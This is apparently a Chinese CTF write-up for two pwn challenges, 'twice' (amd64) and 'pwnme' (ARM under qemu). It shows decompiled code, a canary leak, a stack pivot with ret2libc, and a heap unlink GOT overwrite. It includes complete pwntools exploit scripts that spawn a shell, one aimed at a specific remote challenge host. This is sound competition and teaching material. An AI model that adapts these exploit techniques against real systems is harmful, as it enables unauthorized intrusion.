twice
分析
保护情况
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
漏洞函数
程序一共有两次输入的机会,第一次输入长度为 0x50+9 ;第二次输入长度为:0x50+0x20 。存储字符串的变量 s 距离 rbp 是 0x60 ,也就是第二次输入是栈溢出,溢出长度仅可覆盖 rip 。
输入处理函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| __int64 __fastcall sub_4007A9(int a1) { unsigned int v2; int length; int v4; char s[88]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); memset(s, 0, 0x50uLL); putchar('>'); length = sub_40076D(0x50); if ( a1 ) { if ( a1 != 1 ) return 0LL; v2 = 0; } else { v2 = 1; } v4 = read(0, s, length); puts(s); if ( !a1 ) s[v4 - 1] = 0; return v2; }
|
处理输入长度处理函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 __fastcall sub_40076D(int length) { unsigned int v2;
v2 = 0; if ( nCount ) { if ( nCount == 1 ) v2 = length + 0x20; } else { v2 = length + 9; } return v2; }
|
思路
泄露canary
存在栈溢出肯定是需要利用栈溢出的,但是程序开始了 canary ,所以首先得绕过这个保护。第一次输入的时候可以输入长度刚刚好是 0x59 ,可以覆盖 canary 低字节的结束符,然后在后续中打印出来。
1 2 3
| payload = 'a'*0x59 p.recvuntil(">") p.send(payload)
|
泄露栈地址
绕过 canary 之后就是利用栈溢出了,溢出长度不多仅仅能够覆盖 rip ,也就是不能直接通过普通栈溢出泄露 libc 地址,更别想后面的传参和调用 system 。溢出长度不够可以试下栈迁移。
我们只能控制栈上的数据,所以将 A 栈劫持到 B 栈。那就是需要知道我们能控制的栈的地址,就是需要泄露栈的 rbp 中的值(下一个栈的 rbp 内存地址)减去固定偏移,获得当前栈的内存地址。
泄露的 payload 不需要单独构造,在泄露 canary 的时候就一起泄露出来了。因为 canary 是 8 字节,只是最低位是结束符,所以当最低位被覆盖后,puts 会一直输出直到遇到 rbp 中的结束符(\x00)。
通过调试发现偏移为 0x70 。
泄露 libc
在第二次输入的时,同时写入要执行的命令和溢出 rbp&rip 。首先写入需要执行的命令,写的时候是从 0x8 个字节开始写。因为汇编的 leave|ret
最后会将 rsp 指向 rbp + 8 的地址,然后通过 ret 将 rbp + 8 地址的值压入 rip 中。最后还要一个 main 完成 ROP 。
1
| payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
|
填充长度,补上 canary ,将 rbp 覆盖为预定值,rip 再一次调用 leave|ret
。
1 2
| payload = payload.ljust(0x58,'\x00') + p64(canary) payload += p64(stack_addr-0x70) + p64(leave_ret)
|
两次 leave|ret
rbp、rsp 变化:
1 2 3 4 5 6 7 8 9 10 11 12
| # begin RBP 0x7fffffffdd80 —▸ 0x7fffffffdd20 ◂— 'aaaaaaaa#\t@' RSP 0x7fffffffdd00 ◂— 0x0 RIP 0x400879 (sub_400676+208) ◂— leave # round1 RBP 0x7fffffffdd20 ◂— 'aaaaaaaa#\t@' RSP 0x7fffffffdd88 —▸ 0x400879 (sub_400676+208) ◂— leave RIP 0x40087a (sub_400676+209) ◂— ret # round2 RBP 0x6161616161616161 ('aaaaaaaa') RSP 0x7fffffffdd28 —▸ 0x400923 (__libc_csu_init+99) ◂— pop rdi RIP 0x40087a (sub_400676+209) ◂— ret
|
getshell
溢出长度不够,getshell 还是劫持流程返回到栈上。因为不是正常逻辑的调用,栈空间肯定是变化的,所以需用重新泄露 栈地址 (canary不变)。
1 2 3
| payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr) payload = payload.ljust(0x58,'\x00') + p64(canary) payload += p64(stack_addr-0x70) + p64(leave_ret)
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
|
from pwn import * context.log_level='debug'
p = remote('121.36.59.116',9999) elf = ELF("./pwn") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_plt = elf.plt['puts'] log.info("puts_plt:"+hex(puts_plt)) puts_got = elf.got['puts'] log.info("puts_got:"+hex(puts_got)) main_addr = 0x040087B pop_rdi = 0x0000000000400923 leave_ret = 0x0000000000400879
payload = 'a'*0x59 p.recvuntil(">") p.send(payload)
p.recvuntil('a'*0x59) canary = u64(p.recv(7).rjust(8,'\x00')) log.info("canary:"+hex(canary)) stack_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("stack_addr:"+hex(stack_addr))
payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) payload = payload.ljust(0x58,'\x00') + p64(canary) payload += p64(stack_addr-0x70) + p64(leave_ret) p.recvuntil(">") gdb.attach(p) p.send(payload)
puts_leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.info("puts_leak:"+hex(puts_leak)) libc_base = puts_leak - libc.symbols['puts'] log.info("libc_base:"+hex(libc_base)) system = libc_base + libc.symbols['system'] log.info("system:"+hex(system)) binsh = libc_base + libc.search('/bin/sh\x00').next() log.info("binsh:"+hex(binsh))
payload = 'a'*0x59 p.recvuntil(">") p.send(payload)
p.recvuntil('a'*0x59) canary = u64(p.recv(7).rjust(8,'\x00')) log.info("canary:"+hex(canary)) stack_addr = u64(p.recv(6).ljust(8,'\x00')) log.info("stack_addr:"+hex(stack_addr))
payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr) payload = payload.ljust(0x58,'\x00') + p64(canary) payload += p64(stack_addr-0x70) + p64(leave_ret) p.recvuntil(">") p.send(payload)
p.interactive()
|
pwnme
本地调试环境
在两位师兄和群里大佬帮助下实现本地调试
Ubuntu16.04 安装 qemu 运行 Linux 3.16
如何 pwn 掉一个 arm 的binary
安装文件
安装qemu:
1
| sudo apt install qemu qemu-system-arm
|
安装桥接工具:
1 2
| sudo apt-get install uml-utilities sudo apt-get install bridge-utils
|
安装交叉编译工具链
1
| sudo apt install gcc-arm-linux-gnueabi
|
安装libc
将题目给的 lib 文件中的 so 文件放入到虚拟机的 /lib 文件夹。
建立链接:
1 2 3
| sudo ln -s ./libuClibc-1.0.34.so ./libc.so.0 sudo ln -s ./ld-uClibc-1.0.34.so ./ld-uClibc.so.0 sudo ln -s ./libthread_db-1.0.34.so ./libthread_db.so.0
|
运行&调试
引用 bash-c 的模版,做题 exp 就写在这个模版后面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * import sys context.binary = "a.out"
if sys.argv[1] == "r": sh = remote("remote_addr", remote_port) elif sys.argv[1] == "l": sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"]) else: sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])
elf = ELF("a.out")
libc = ELF("./libuClibc-1.0.34.so")
|
模版使用
- python exp.py r 打远程
- python exp.py l 本地测试
- python exp.py d/a/b/… 用于本地调试, exp 启动后新启一个终端, 使用 gdb-multiarch 就可以通过 target remote localhost:1234 来进行调试了
远程和本地跟一个后缀就行了,本地调试参数不是 r & l 即可。开启本地调试,依次执行:
1 2 3 4 5 6
| # 终端1 python exp.py d # 终端2 gdb-multiarch target remote localhost:1234 # 输入c开始运行程序
|
打断点,我是在终端 2 中直接打断点,没有在 exp 中用 gdb.attach() 。还有一个问题就是 gdb 不能直接查堆,即使已经装完几个库文件:
最后是通过找存放堆指针地址的数组(0x002106C)查堆空间。
分析
保护情况
1 2 3 4 5
| Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000)
|
漏洞函数
Change 功能没有对输入的长度进行限制;写入全部数据后,还会在最后加一个 \x00 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void mychange() { char v0; char v1; int v2; int v3; int v4;
if ( chunk_num ) { printf("Index:"); read(0, (int)&v1, 8); v4 = atoi(&v1); if ( chunk_list[2 * v4] ) { printf("Length:"); read(0, (int)&v0, 8); v3 = atoi(&v0); printf("Tag:"); v2 = read(0, chunk_list[2 * v4], v3); *(_BYTE *)(chunk_list[2 * v4] + v2) = 0; } else { puts("Invalid"); } } }
|
思路
布置堆,3 号堆用来最后传参 /bin/sh
1 2 3 4
| add(0x10) add(0x80) add(0x10) add(0x10,'/bin/sh\x00')
|
在 0 号堆布置一个 fake chunk ,fd&bk 分别是 目标地址-12 和 目标地址-8 ,并溢出修改 1 号堆的 prev_size 和 PREV_INUSE 等等与 fake chunk 合并。
1 2 3 4
| payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8) payload += p32(0x10)+p32(0x88) change(0,len(payload),payload) remove(1)
|
之后数组中的 0 号堆指针指向 目标地址-8 :
show 功能是从数组上找堆地址,然后在输出堆内容,所以往数组上写 got 表地址,覆盖堆指针,泄露 libc 地址。同时写入需要修改的函数 got 表地址,用 Change 修改(原理和 show 一样)。
1 2 3 4 5 6
| payload = p32(elf.got['puts'])*5+p32(elf.got['free'])*4 change(0,len(payload),payload) show() …… change(2,4,p32(system)) remove(3)
|
exp
来自师兄的exp,我删了多余的堆,和调整了一下填充内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
|
from pwn import * import sys context.binary = "a.out"
if sys.argv[1] == "r": sh = remote("remote_addr", remote_port) elif sys.argv[1] == "l": sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"]) else: sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])
elf = ELF("a.out")
libc = ELF("./libuClibc-1.0.34.so") context.log_level = "debug"
def show(): sh.recvuntil(">>> ") sh.sendline("1") def add(length,content='a'): sh.recvuntil(">>> ") sh.sendline("2") sh.recvuntil("Length:") sh.sendline(str(length)) sh.recvuntil("Tag:") sh.send(content) def change(index,length,content): sh.recvuntil(">>> ") sh.sendline("3") sh.recvuntil("Index:") sh.sendline(str(index)) sh.recvuntil("Length:") sh.sendline(str(length)) sh.recvuntil("Tag:") sh.send(content) def remove(index): sh.recvuntil(">>> ") sh.sendline("4") sh.recvuntil("Tag:") sh.sendline(str(index))
target = 0x002106C
add(0x10) add(0x80) add(0x10) add(0x10,'/bin/sh\x00')
payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8) payload += p32(0x10)+p32(0x88) change(0,len(payload),payload) remove(1)
payload = p32(0x0)*3+p32(elf.got['puts']) payload += p32(0x0)*3+p32(elf.got['free']) change(0,len(payload),payload) show() sh.recvuntil("0 : ")
puts = u32(sh.recv(4)) print 'puts:'+hex(puts) libc_base = puts - libc.symbols['puts'] print 'libc_base:'+hex(libc_base) system = libc_base + libc.symbols['system'] print 'system:'+hex(system)
change(2,4,p32(system)) remove(3)
sh.interactive()
|